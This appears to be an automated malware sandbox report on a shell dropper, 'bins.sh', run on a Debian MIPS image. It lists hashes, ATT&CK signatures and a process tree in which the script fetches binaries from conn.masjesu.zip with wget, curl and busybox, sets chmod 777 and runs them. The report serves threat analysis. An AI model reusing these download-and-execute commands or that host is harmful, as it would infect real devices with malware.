Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25-11-2024 17:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0bab677bb7dbabe1a9fb60b3a7b95b58

  • SHA1

    877d5a90a48d6dabfe14b245ea85a8f73354471d

  • SHA256

    080cc74955fcef1f89a0fd18d5a2864727cc4f8a77c0913fc675d78b53e86eff

  • SHA512

    7ec83ab03370addcc929b955531178bd158f1dd67a7c066923c3297b2a3278c264b633bbe8b7ab8557d658ebadf46427074338cdcdf59ee1682ae9734ad51f2c

  • SSDEEP

    192:8kgtKqNBM8XGG/9VY9q9d9k9I9AtTyHkgtKqjdXb9VY9q9d9k9I9CHN:CBMGGG/9y9q9d9k9I9AtONVb9y9q9d9+

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • System Network Configuration Discovery
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:719
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:815
        • /bin/chmod
          chmod 777 VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • File and Directory Permissions Modification
          PID:816
        • /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          ./VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
          • Executes dropped EXE
          PID:817
        • /bin/rm
          rm VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr
          2⤵
            PID:819
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:820
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:821

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • /tmp/VaHVL2c90E23gNCWuAWrVcUYYJjIGbMlsr

          Filesize

          119KB

          MD5

          1b166b95f9cb4b079ef1b9ec8363ddf3

          SHA1

          0d8eb08add467b3b5474f9b25909297fe7c2839c

          SHA256

          94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

          SHA512

          983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

        • /tmp/cd9nXhZl3yxf9bhkxC4vm1haymeJGfIkMR

          Filesize

          127KB

          MD5

          89077b7bd4bcafca7713be43635c4862

          SHA1

          fc02edb8fba29ea8ee99e6157ef8560334530052

          SHA256

          78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

          SHA512

          1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1